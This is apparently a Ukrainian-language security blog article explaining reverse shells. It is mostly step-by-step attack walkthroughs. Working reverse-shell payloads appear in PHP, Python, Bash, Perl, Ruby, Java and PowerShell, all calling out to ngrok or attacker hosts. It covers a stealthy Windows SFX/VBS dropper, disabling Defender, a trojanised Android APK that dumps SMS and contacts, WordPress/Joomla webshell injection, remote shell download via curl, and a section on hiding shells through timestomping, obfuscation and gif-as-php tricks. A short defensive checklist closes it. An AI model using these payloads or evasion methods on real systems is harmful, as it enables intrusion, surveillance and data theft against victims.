Reverse Shell (“зворотна оболонка”) широко застосовується в інформаційних технолоіях, зокрема у сферах пентестингу, етичного хакінгу та кіберзлочинності. Хакер, використовуючи відомі йому вразливості, завантажує на сервер жертви шкідливий файл (File Upload Attack), який після активації встановлює віддалене з’єднання з машиною атакуючого. У результаті він отримує інтерактивну оболонку з можливістю віддалено виконувати команди (Remote Code/Command Execution). У цьому матеріалі ми розберемо принцип дії Reverse Shell на реальних прикладах.
- Що таке Reverse Shell та як він працює?
- Етапи атаки з Reverse Shell
- Принцип роботи Bind та Reverse Shell на практиці з допомогою Netcat
- Різні типи встановлення зворотних оболонок
- Приклади Reverse Shell на різних хостах
- Створення Reverse Shell між ОС Linux і VPS-сервер
- Створення Reverse Shell між OS Linux і OS Windows
- Створення Reverse Shell між OS Linux і Android-пристроєм
- Створення Reverse Shell між OS Linux і CMS WordPress
- Створення Reverse Shell між OS Linux і CMS Joomla
- Як маскувати шелли?
- Як захиститиcя від атак з Reverse Shell?
- Додаткові джерела і посилання
Що таке Reverse Shell та як він працює?

Reverse Shell — це техніка віддаленого мережевого доступу, при якій цільова машина (жертва або target) встановлює з’єднання з атакуючою (хакер або attacker), відкриваючи таким чином не ПРЯМИЙ (Bind), а ЗВОРОТНИЙ (Reverse) канал TCP-з’єднання. Тобто, на відміну від Bind Shell, комп’ютер жертви стає – клієнтом, а комп’ютер зловмисника – сервером, до якого цей клієнт під’єднується. Це дозволяє атакуючому отримати доступ до оболонки (shell) віддаленої цільової машини (Bash, Zsh, CMD, PowerShell) та виконувати команди від її імені. Оболонка дає доступ до операційної системи, службових команд та файлової системи.
Для встановлення зворотного шеллу використовується різноманітне шкідливе навантаження (payloads) – код або сценарій, який виконується на стороні жертви. На комп’ютері зловмисника тим часом працює так-званий слухач (listener) – програма або сценарій, який очікує вхідних з’єднань. Слухач забезпечує інтерфейс командного рядка для керування скомпрометованою системою.
Етапи атаки з Reverse Shell
- Етап №1. Створення корисного навантаження (Payload Creation).
Корисне навантаження – це код або сценарій (комбінація, набір команд), який експлуатує вразливості цільової системи і налагоджує зворотну оболонку Reverse Shell. Він створюється в залежності від типу цільової системи: версії ОС, мови інтерпретатора оболонки, мови програмування. - Етап №2. Доставка корисного навантаження (Payload Delivery).
Зловмисник доставляє корисне навантаження в цільову систему різними методами. Наприклад, через фішингові атаки, шкідливі завантаження, використання вразливостей програмного забезпечення, соціальну інженерію тощо. - Етап №3. Віддалене виконання коду (Remote Code Execution).
Коли корисне навантаження виконується в системі жертви, воно встановлює зворотне з’єднання із сервером зловмисника, створюючи інтерактивну оболонку Shell. - Етап №4: Командування та контроль (Command and Control / Scripting).
Зловмисник отримує віддалений контроль над системою жертви через зворотну оболонку. Вони можуть виконувати команди, викрадати дані або виконувати інші зловмисні дії, ніби вони фізично присутні в системі жертви. Детальніше, які хакерські техніки можуть відбуватися на цьому етапі описано на сайті MITRE ATTACK.
Принцип роботи Bind та Reverse Shell на практиці з допомогою Netcat
🔴 Netcat Reverse Shell – це найпростіший тип зворотної оболонки, яка базується на використанні вбудованої в ОС Linux мережевої утиліти Netcat.
Отже, давайте продемонструємо роботу шела для початку на прикладі звичайного прямого Bind Shell з допомогою NC:
- На хост-машині (клієнт) здійснюємо вхідне з’єднання з віддаленим сервером по SSH і запускаємо слухач (Listener) на заданому порту, наприклад:
nc -lvnp 7777 - На клієнті виконуємо команду Netcat для під’єднання до віддаленого сервера, на якому працює слухач, вказавши його IP-адресу:
nc -nv XX.XX.XX.XX 7777 - Обоє з’єднання активні, і на обох має з’явитися відповідний напис:
На віддаленому сервері:
Listening on 0.0.0.0 7777
Connection received on XX.XX.XX.XX 56202
На клієнті:
(UNKNOWN) [XX.XX.XX.XX] 7777 open - З’єднання встановлено. Тепер на хост-машині можна відправити повідомлення на сервер, просто набравши у командному рядку “Hello”. Воно митєво з’явиться у командному рядку слухача на віддаленому сервері.

У висновку, нам вдалось встановити “місток” між двома різними хостами.
Ми можемо ускладнити цей варіант Bind Shell, скориставшись іншою командою:
- Під’єднуємося до віддаленого SSH-сервера і виконуємо на ньому ось таку команду Netcat, яка на відміну від першого варіанту містить корисне навантаження:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l XX.XX.XX.XX 7777 > /tmp/f(передає TCP-сесію через файл FIFO) - На клієнті запускаємо ту саму команду Netcat для під’єднання до віддаленого сервера:
nc -nv XX.XX.XX.XX 7777 - У висновку, на клієнті з’являється інтерактивна оболонка з терміналом Bash віддаленого сервера.
Отже, тепер ми можемо виконувати команди на хост-машині від імені сервера. Але даний тип з’єднання все одно не є Reverse Shell’ом, тому що відбувається звичайне САНКЦІОНОВАНЕ вхідне з’єднання, яке може бути заблоковане файрєволом на стороні сервера. Різноманітні Bind Shell часто застосовуються системними адміністраторами для легітимного відддаленого керування.
Давайте тепер створимо найпростіший ЗВОРОТНИЙ Reverse Shell з допомогою Netcat:
- На хост-машині запускаємо прослуховуюче з’єднання:
nc -lvp <port> - На цільовій машині запускаємо зворотне з’єднання:
nc <attacker_ip> <attacker_port> -e /bin/bash.
Різниця між Bind та Reverse Shell у тому, що в Bind шелі прослуховувач запускається на віддаленому сервері і до нього під’єднується хост-машина (клієнт). Такий тип з’єднання є класичним і він передбачає, що користувач має доступ до обох систем. А в Reverse навпаки – слухач запускається на машині атакуючого, а до неї під’єднується віддалений цільовий сервер. Тобто, жертва ініціює вихідне з’єднання. По замовчуванню, файєрвол не може заборонити його, бо воно здійснюється від імені самого сервера. Також є більше шансів, що адміністратор сервера також не помітить його. Саме тому зворотний шелл активно застосовується хакерами для проникнення в системи.
Різні типи встановлення зворотних оболонок
🔴 PHP Reverse Shell – тип зворотної оболонки, яка базується на використанні мови інтерпретатора PHP, наприклад:
<?php
$ip = 'attacker_ip';
$port = 4444;
exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");
?> 🔴 Python Reverse Shell – зворотна оболонка, яка базується на мові сценаріїв Python, наприклад:
import socket import subprocess import osip = 'attacker_ip' port = 4444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/bash', '-i'])
🔴 Bash Reverse Shell – зворотна оболонка, яка базується на скриптовій мові Bash, наприклад:
#!/bin/bash ip="attacker_ip" port=4444exec 5<>/dev/tcp/$ip/$port cat <&5 | while read line; do $line 2>&5 >&5; done
🔴 Perl Reverse Shell – зворотна оболонка, яка базується на мові програмування Perl, наприклад:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Інші приклади:
perl —e 'exec "/bin/sh";'perl: exec "/bin/sh";
🔴 Ruby Reverse Shell – зворотна оболонка, яка базується на мові програмування Ruby, наприклад:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Інші приклади:
ruby: exec "/bin/sh"
🔴 Java Reverse Shell – зворотна оболонка, яка базується на мові програмування Java, наприклад:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Приклади Reverse Shell на різних хостах

Створення Reverse Shell між ОС Linux і VPS-сервер
Розглянемо один з найпростіших способів створення та запуску реверс-шела на практиці. В якості атакуючої сторони виступить ваш локальний комп’ютер на базі ОС Linux, а у якості жертви – VPS-сервер.
Будуть задіяні такі компоненти як:
- Netcat – це службова мережева Unix-сумісна утиліта, яка дозволяє створювати мережеві з’єднання по протоколу TCP/UDP.
- Ngrok – це онлайн-сервіс і програмний компонент від сторонніх розробників, який дозволяє відкрити доступ до внутрішніх ресурсів локальної машини, на якій він запущений, із зовнішньої мережі, шляхом створення публічної URL-адреси, всі запити на яку будуть перекинуті на локальну адресу та заданий порт. Його попередньо треба встановити і налаштувати. Варто зауважити, що дані ngrok після кожного запуску змінюються і їх треба оновлювати в коді реверс шелів, щоб вони працювали.
Cпосіб передбачає таку послідовність дій (Steps to Introduce):
- Запускаємо на своєму комп’ютері Ngrok на прослуховування TCP порту (вказуємо будь-який на вибір, але щоб був вільним):
ngrok tcp 44689 - Ngrok надасть віддалену публічну адресу і порт, які будуть переспрямовуватися на локальний комп’ютер:
tcp://0.tcp.eu.ngrok.io:15562 -> localhost:44689 - Запускаємо в окремому терміналі утиліту Netcat на прослуховування локального порта:
nc -lvnp 44689. Залишаємо сесію активною, не закриваємо вікно. - Створюємо скрипт reverse shell, наприклад на bash, вписавши в нього рядки для створення зворотного TCP-з’єднання з Ngrok:
#!/bin/bash
/bin/bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/15562 0>&1 - Доставляємо шкідливий файл будь-якими доступним способом на сервер жертви і виконуємо його теж будь-яким доступним способом.
- Повертаємося до локального терміналу з запущеним Netcat і бачимо, що “зворотна оболонка” вступила в дію, з’явилися рядки, які свідчать про налагодження з’єднання і доступ до командного рядка на стороні сервера-жертви:
Listening on 0.0.0.0 44689
Connection received on 127.0.0.1 50976
root@server:~#
Далі ви зможете виконувати будь-які команди на сервері. Наприклад, вам стануть доступні операції створення, редагування, вилучення файлів та багато інших. Фактично, сервер буде під повним віддаленим контролем. Реверс-шел можна адаптувати в залежності від тих чи інших задач та вашої фантазії. Його можна використовувати у тому числі й для системного адмініністрування.
Створення Reverse Shell між OS Linux і OS Windows
В якості атакуючої сторони у цьому випадку виступає локальний комп’ютер на базі Linux, у якості жертви – локальний комп’ютер на базі операційної системи Windows 10/11. Будуть задіяні ті самі інструменти, що й у попередньому прикладі – Netcat та Ngrok.
Cпосіб №1
Передбачає таку послідовність дій (Steps to Introduce):
- Запускаємо на локальному комп’ютері Ngrok на прослуховування TCP порту (вказуємо будь-який на вибір, але щоб був вільним):
ngrok tcp 4516 - Ngrok надасть віддалену публічну адресу і порт, які будуть переспрямовуватися на локальний комп’ютер:
tcp://2.tcp.eu.ngrok.io:18093 -> localhost:4516 - Запускаємо в Linux в окремому терміналі утиліту Netcat на прослуховування локального порта:
nc -lvnp 4516. Залишаємо сесію активною, не закриваємо вікно. - Завантажуємо з інтернету netcat для Windows, розпаковуємо архів і копіюємо з нього лише один файл – nc.exe. Вставляємо його в окрему папку. В цій папці з допомогою Notepad++ або Sublime Text створюємо ще один файл з наступним наповненням й зберігаємо його як
connect.bat:
@echo off
nc.exe 2.tcp.eu.ngrok.io 18093 -e cmd.exe - Тепер створюємо у цій папці ще один файл – Visual Basic скрипт запуску шела
run.vbsз наступним змістом:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "connect.bat", 7, False
Set WshShell = Nothing - Тепер формуємо єдиний саморозпакувальний SFX-архів в форматі EXE з цих 3 файлів. Найпростіше це зробити в WinRAR. Необхідно виділити 3 файла, натиснути додати в архів, обрати формат RAR, метод стиснення нормальний, включити галочку “Створити SFX-архів” і перейти в додаткові налаштування SFX, де в полі “Виконати після розпакування” просто вписати назву файлу run.vbs. В результаті отримаємо архів shell.exe.
- Доставляємо будь-яким способом архів на Windows-комп’ютер жертви. Користувач запускає SFX, він розпаковується і реверс-шелл автоматично вступає в дію. Причому завдяки скрипту Visual Basic це відбувається абсолютно непомітно.
- Повертаємося до локального терміналу Linux з запущеним Netcat і бачимо, що “зворотна оболонка” вже активна, з’явилися рядки, які свідчать про налагодження з’єднання і доступ до командного рядка на стороні операційної системи жертви:
Listening on 0.0.0.0 4516
Connection received on 127.0.0.1 57918
Microsoft Windows [Version 10.0.22631.2715]



Робота шела дозволяє атакуючому віддалено виконувати різноманітні команди і операції на комп’ютері жертви. Наприклад, можна переглядати, копіювати, створювати, виконувати, переміщати файли і папки, використовуючи інтерактивну оболонку. Такі команди як systeminfo, tasklist, ipconfig, netstat можуть нададуть чимало корисної інформації про цільову систему для проведення атак з підвищенням привілеїв.
Спосіб №2
Передбачає, що атакуючий передньо отримав дані для входу в Windows-систему по протоколу RDP (наприклад, скористався витоком даних) :
- На хост-машині запускаємо слухач на заданому порту, наприклад на 443 (цей порт зазвичай відкритий і не блокується брандмауером):
sudo nc -lvnp 443 - Відкриваємо ще один термінал і під’єднуємося до хоста жертви по RDP з допомогою команди:
xfreerdp /v:XX.XX.XX.XX /u:username /p:password(або запуститиremmina) - На хосту-жертві, в операційній системі Windows відкриваємо термінал PowerShell від імені Адміністратора і виконуємо:
Set-MpPreference -DisableRealtimeMonitoring $true. Ця команда вимкне моніторинг безпеки Windows й дозволить виконатись шелу. - Відкрити Command Prompt (CMD) від імені Адміністратора (не PowerShell) і виконати команду, вказавши IP-адресу слухача (хост-машини):
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('XX.XX.XX.XX',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" - На хост-машині повинно встановитися з’єднання. Тепер можна виконати будь-яку команду, наприклад:
whoami

Існують й інші шляхи проникнення в Windows. Варто насамперед аналізувати існуючі вразливості присутні в базі CVE. І вже відштовхуючись від них, будувати корисні навантаження.
Створення Reverse Shell між OS Linux і Android-пристроєм
У цьому способі будемо використовувати локальну операційну систему Linux в якості атакуючої машини та мобільний пристрій під управлінням ОС Android 7 у якості жертви.
З інструментів використаємо той самий Ngrok, а також Metasploit – культове командне середовище етичного хакінгу. Він знадобиться для створення корисного навантаження (payload).
Варто зауважити, що цей спосіб спрацьовує не на всіх версіях Android, а в основному на застарілих смартфонах з відсутніми модулями безпеки.
Послідовність дій (Steps to Introduce):
- Традиційно запускаємо на локальному комп’ютері Ngrok для прослуховування TCP порту:
ngrok tcp 4516 - Ngrok надасть віддалену публічну адресу і порт, які будуть переспрямовуватися на локальний комп’ютер:
tcp://6.tcp.eu.ngrok.io:18526 -> localhost:4516 - Запускаємо Metasploit командою
msfconsole. - З допомогою модуля msfvenom створюємо на базі існуючого APK-додатку (можна знайти тут) мобільний додаток-шелл, вказавши дані з Ngrok:
msfvenom -p android/meterpreter/reverse_tcp -x /home/root/com.digiplex.game-2.7.2-APK4Fun.com.apk LHOST=6.tcp.eu.ngrok.io LPORT=18526 -f raw -o shell.apk - Доставляємо APK-шелл на Android-пристрій жертви. Це можна зробити будь-яким способом, наприклад через фішинговий сайт, зробивши його публічним через портативний веб-сервер Ngrok:
- Налаштовуємо Metasploit на прослуховування з’єднання:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4516
exploit - Жертва отримує APK-додаток, встановлює і запускає його. Шелл приходить в дію і на атауючій машині в Metasploit з’являється нова сесія Meterpreter:
[*] Started reverse TCP handler on 0.0.0.0:4516
[*] Sending stage (71398 bytes) to 127.0.0.1
[*] Meterpreter session opened (127.0.0.1:4516 -> 127.0.0.1:50328) at 2024-08-23 14:12:06 +0300




Таким чином, Android-смартфон під дією реверс-шелла стає повністю підконтрольним хакеру. Атакуючий з допомогою оболонки Meterpreter зможе проводити різноманітні дії та операції (завантажувати файли, виконувати системні команди, запускати кейлогер, створювати/запускати/зупиняти служби, керувати процесами тощо).
До прикладу, спробуємо ортримати будь-яку цікаву технічну інформацію про мобільний пристрій, застосовуючи відповідні команди:
sysinfo– базова технічна інформація про операційну систему Android жертви;ps– список активних процесів в сеансі поточного користувача;ifconfig– вивести список мережевих інтерфейсів;route– показати таблицю маршрутів мережевого з’єднання;pwd– отримати шлях поточної директорії;getuid– вивести ідентифікатор поточного користувача;shell– перейти в командну оболонку безпосередньо терміналу Android;screenshot– зробити скріншот дисплею користувача;screenshare– показати дисплей користувача в реальному часі;localtime– вивести локальний час на смартфоні користувача;webcam_list– вивести список відеокамер пристрою;upload– завантажити файл на пристрій;download– завантажити файл з пристрою;check_root– перевірка чи рутований смартфон;dump_sms– зробити дамп усіх SMS-повідомлень і зберегти в файл;dump_contacts– зробити дамп контактів користувача;dump_calllog– зробити дамп останніх стільникових дзвінків на пристрої;send_sms– відправка SMS-повідомлень з телефону жертви;app_list– список встановлених додатків;app_run– запуск додатків;app_install– встановити додаток;- ….повний список команд можна отримати скориставшись довідкою, набравши в консолі
help.
Якщо жертва закриє додаток, то з’єднання Reverse Shell буде втрачено, а сесія Meterpreter стане недоступною. Це відбувається тому, що додаток перестає працювати у фоновому режимі і відповідно перестає підтримувати активне з’єднання з вашою атакуючою машиною. Щоправда, існують різні способи обходу (bypass), однак це вже окрема тема.
Якщо жертва повторно запустить додаток – сесія знову відкриється (за умови, що ваш metasploit активно прослуховує відповідний локальний порт).
Створення Reverse Shell між OS Linux і CMS WordPress
Цей спосіб також побудований на Netcat і Ngrok й практично нічим не відрізняється від попередніх, однак передбачає модифікацію файлів WordPress, тому необхідно мати доступ до них – прямий або віддалений.
В якості шела будемо використовувати відомий Pentest Monkey PHP Reverse Shell.
Точками компрометації можуть бути:
- Застарілі версії WordPress (злам через експлойти);
- Застарілі плагіни і теми (злам через експлойти);
- Встановлення фальшивих плагінів і тем з бекдорами;
- Вразливості RFI/LFI;
- Незахищені форми завантаження файлів;
- Увімкнений редактор службових файлів в адмін-панелі WordPress;
- Відсутність двофакторної авторизації, слабкі паролі;
- Соціальна інженерія (людський фактор);
- Відсутність систем безпеки (firewall) на сервері;
- Відсутність плагіну безпеки (WAF) на сайті WordPress;
- Відсутність HTTP-заголовків безпеки;
- Некоректні права доступу на файли і папки.
Послідовність дій (Steps to Introduce):
- Традиційно запускаємо на локальному комп’ютері Ngrok для прослуховування TCP порту:
ngrok tcp 4316 - Ngrok надасть віддалену публічну адресу і порт, які будуть переспрямовуватися на локальний комп’ютер:
tcp://6.tcp.eu.ngrok.io:14975 -> localhost:4316 - Запускаємо Netcat на прослуховування:
nc -lvnp 4316 - Тепер необхідно додати код реверс-шелу в один із php-файлів WordPress. Варіантів і способів є чимало. Можна, наприкдад, завантажити шкідливий php-файл чи плагін з шелом через панель встановлення WordPresss (Plugins -> Add new -> Upload plugin), можна додати код в functions.php чи 404.php або створити окремий php-файл. Хакери також часто взламують WordPress із застосування Metasploit meterpreter, використовуючи експлойти до вразливостей. Ми оберемо банальну ін’єкцію в php-файл теми “Twenty Twenty-Three”. Переходимо в адмін-панель сайту жертви, шукаємо в сайдбарі пункт “Tools” і заходимо в “Theme File Editor” (редагування файлів теми). Відкриється редактор, де необхідно обрати один із php-файл підпапки patterns, наприклад
patterns/call-to-action.php. Далі просто відредагувати його, замінивши вихідний код на код реверс-шела (без додавання вкінці ?>, інакше може відмовити в зберіганні). Після цього натиснути “Update” для оновлення даних. Сайт жертви при цьому має продовжувати працювати без жодних проблем. - Заглядаємо в Netcat – там вже має з’явитися активна сесія. Якщо не спрацювало, варто вручну відкрити файл
https://example.com/wp-content/themes/twentytwentythree/patterns/call-to-action.phpй таким чином активувати шелл.


Створення Reverse Shell між OS Linux і CMS Joomla
Цей спосіб, як і попередні, передбачає доступ до панелі адміністрування сайту-жертви. Ми застосуємо комбінацію атак Remote Code Execution (RCE) + Remote File Inclusion (RFI). Також додатково використаємо наш авторський Web Shell від KR. Laboratories з псевдографічною оболонкою для доступу до сервера й розгортання зворотного шелу.
Web Shell – це сеанс зворотної оболонки на основі веб-браузера. Існує чимало різноманітних шелів, наприклад: Laudanum, Antak, wwwolfs, c99, r57, Alfa Shell та інші.
Послідовність дій (Steps to Introduce):
- Традиційно запускаємо на локальному комп’ютері Ngrok для прослуховування TCP порту:
ngrok tcp 4316 - Ngrok надасть віддалену публічну адресу і порт, які будуть переспрямовуватися на локальний комп’ютер:
tcp://0.tcp.eu.ngrok.io:11880 -> localhost:4316 - Запускаємо Netcat на прослуховування:
nc -lvnp 4316 - Заходимо в адмін-панель Joomla, переходимо в меню Extensions -> Templates -> Templates. Обираємо тему по замовчуванню, у нашому випадку “Protostar”. Створюємо новий PHP-файл. Вставляємо навантаження з функцією shell_exec і зберігаємо:
<?php echo shell_exec($_GET['cmd']); ?>Цей рядок приведе до вразливості віддаленого виконання коду на сервері – Remote Code Execution (RCE). - Відкриваємо URL цього файлу і додаємо до нього параметр cmd, який відповідає за оболонку командного рядка. Дописуємо до нього будь-яку команду, наприклад:
http://example.com/templates/protostar/joomlashell.php?cmd=whoami. Можна спробувати виконати інші команди: ls -la, uname, cat та інші. Якщо виконання команд через cmd-шел на стороні сервера працює, тоді переходимо до наступного кроку. - Використавши вразливість RCE, проведемо тепер атаку Remote File Inclusion (RFI) для того, щоб підвантажити наш shell-оболонку зі стороннього ресурсу на сервер. Вводимо наступний URL:
http://example.com/templates/protostar/joomlashell.php?cmd=curl https://example2.com/ua_team_shell.php -o /home/example.com/public_html/shell.php. Таким чином сервер-жертва підвантажить файл з шелом і збереже його у зазначеній директорії під вказаною назвою. В даному випадку, це коренева директорія public_html. - Відкриваємо наш shell через URL:
https://example.com/shell.php. З’явиться оболонка з інтерфейсом файлового менеджера. Ми отримали доступ до сервера. Залишилось розгорнути стандартний зворотний реверс-шелл, щоб зв’язати цільову систему з атакуючою машиною. Для цього див. вище інструкцію “Створення Reverse Shell між Linux і VPS”.



Як маскувати шелли?
Часто між створенням шеллу і його виявленням проходить дуже мало часу. Рано чи пізно його знешкодять. Відповідно у хакера з’являється потреба в тому, щоб цей шелл проіснував якомога більше часу. Зробити це можна через маскування. Нижче наведемо деякі способи:
- Зміна назви файлу. Назвіть файл з шелом так, щоб він виглядав якомога природніше і вписувався в навколишнє середовище. Дайте йому назву подібну до службових файлів. Наприклад, якщо у папці є службові файли config.inc.php, то можна додати файл під назвою main_functions.inc.php.
- Зміна дати файлу. Шкідливі файли дуже легко знаходяться саме за датою. “Підробити” дату останньої модифікації можна командою:
touch -t YYYYMMDDhhmm filename, де YYYY — рік, MM — місяць, DD — день, hh — година, mm — хвилина. - Ін’єкція у наявний системний файл. Ін’єкція коду шеллу в існуючий файл, наприклад у один із файлів CMS або популярних плагінів, може допомогти приховати його.
- Обфускація коду. Використовуйте обфускацію для того, щоб зашифрувати шелл-код й зробити його недоступним для антивірусних систем, які рідко мають вбудовані функції дешифрування. Кодування шелл-коду можна здійснити, наприклад, в Base64.
- Використання прихованих директорій. Розміщення шелла в прихованих або малопомітних директоріях, наприклад
.tmp,.hidden,logs/,backup/. - Використання альтернативних розширень файлів. Ви можете вкористати розширення, які не асоціюються з виконуваними файлами, наприклад
.jpgабо.gif, та змінити налаштуваня сервера для їх інтерпретації як коду. Наприклад, для Apache можна створити файл .htaccess з такими рядками:
AddHandler application/x-httpd-php .gif
AddType application/x-httpd-php .gif
У цьому випадку ви вказали серверу, що усі gif-файли у поточній директорії мають оброблятися як php і сприйматися браузером як php. Відповідно, якщо помістити php-шелл в такий файл-зображення, то він успішно виконається на сервері. Таким чином можна проводити атаки з завантаженням шкідливих файлів (File Upload Attack).
Як захиститиcя від атак з Reverse Shell?
- Використовуйте фаєрволи (CSF, IPtables) – вони заблокують небажаний трафік і відсіють аномалії, що убезпечить від виконання реверс-шелів. За потреби створіть білі списки дозволених IP-адрес та TCP/UDP-портів.
- Фільтруйте будь-які вхідні HTTP-запити та обмежуйте виконання скриптів php, perl, bash, python, java, js в директоріях вашого сайту.
- Фільтруйте і перевіряйте завантаження будь-яких файлів на сайт. Сервер має перевіряти MIME-тип та вміст файлів, які завантажуються. Файли, які пройшли перевірку, повинні автоматично переймененовуватися сервером та зберігатися в окрему папку.
- Проведіть комплексну конфігурацію всіх системних компонентів. Зокрема перевірте файл PHP.INI й обов’язково вимкніть віддалене приєднання файлів з можливістю виконання:
allow_url_fopen = off,allow_url_include = off. Ці дві опції є небезпечними, адже створюють можливість проведення LFI/RFI атак. - Використовуйте засоби моніторингу мережі та запобігання вторгненням (IDS/IPS/DLP-системи), щоби виявляти незвичайні моделі поведінки, підозрілий трафік, витоки даних.
- Налаштуйте коректні рівні та права доступу до файлів і папок в системі.
- Обмежте публічний доступ до адмін-панелей. Захищайте доступ до облікових записів двофакторною авторизацією.
- Активуйте fail2ban, snort, php SuExec, modsecurity та інші модулі безпеки на сервері.
- Використовуйте систему Captcha для всіх своїх веб-елементів (форми, текстові поля і т.д.).
- Регулярно оновлюйте та виправляйте програмне забезпечення, щоб запобігти потенційним вразливостям, якими можуть скористатися хакери.
- Проводьте регулярне сканування сайту і сервера на наявність підозрілих, шкідливих файлів.
- Подбайте про операційну безпеку, аби унеможливити людський фактор. Не завантажуйте і не відкривайте підозрілі файли, не переходьте по фішинговим посиланням, не завантажуйте додатки та вкладення з невідомих джерела або від невідомих розробників.
- Для виконання операцій з високим ризиком реалізуйте пісочницю (Application Sandbox), розмежовуйте хости, які знаходяться в одній мережі, щоби компрометація одного не означала компрометацію усієї системи, використовуйте демілітаризовану зону DMZ.
- Регулярно (раз в 1-3 місяці) оновлюйте паролі доступу. Вмикайте двофакторну авторизацію.
- Створюйте резервні копії жорстких дисків та накопичувачів, конфіденційних даних і файлів конфігурації. Це дозволить відновити систему у разі компрометації та атаки.
- Розробіть і впровадьте процедури реагування на інциденти, щоб забезпечити швидке виявлення та нейтралізацію атак.
- Приділяйте увагу захисту кінцевих пристроїв та IoT-пристроїв: робочі станції (комп’ютери співробітників), сервери (надають різні послуги в мережі), принтери, фотоапарати, Smart TV, розумні розетки і т.д.
- На Windows-системах необхідно особливо подбати про захист, встановити антивірусну/антифрауд систему (Windows Defender), налагодити мережевий файєрвол (Malwarebytes Windows Firewall Control).
- Проводьте регулярний пентест і аудит безпеки.
Додаткові джерела і посилання
- Збірка Reverse Shell в репозиторії PayloadAllTheThings
- Reverse Shell Cheatsheet
- Pentest Monkey Revere Shell Cheat Sheet
- Pentest Book. Reverse Shells
- Reverse Shell Generator
- Revere Shell Attacks on HackerOne Bug Bounty
- HackTricks Shells Linux
- HackTricks File Upload Attack
- File Upload Attack Cheatsheet
- Підбірка псевдографічних шеллів: wso, r57, c99, alfa та інші
- Підбірка 2 псевдографічних шеллів
- Shell Detector
- BlackArch webshells
- SUCURI Blog. Alfa Team Shell
- Backdoors Collection
- GitHub. p0wny@shell. Single File PHP Shell
- GitHub. Ivan Sincek. Reverse Shells
- OWASP. Unrestricted File Upload
- Awakened Blog. LFI and RFI
- Infosecwriteups. LFI with PHPINFO to RCE
- Aptive. Local File Inclusion (LFI) in SMTP
- Cobalt. A Pentester’s Guide to File Inclusion
- 0xSaruman. LFI Attack in User-Agent and access.log
- LFI Cheat Sheet
- LFI to RCE Exploit with Perl Script
- PHP filesystem attack vectors
- Acunetix Blog. Web Shells 101 Using PHP (Web Shells Part 2)
- Shell через phpmyadmin
- Youtube. upload shell.php.jpg
- Single Line PHP Script to Gain Shell
- Hackers Guide. Local File Inclusion (LFI)
- Методи обходу фільтрації файлів завантаження
- File Upload Bypass Techniques
- pixload — Image Payload Creating tools
- 0xSs0rZ. Upload file shell
- HTB Academy. Shells & Payloads
- THC’s favourite Tips, Tricks & Hacks (Cheat Sheet)
- Reverse Shell Generator




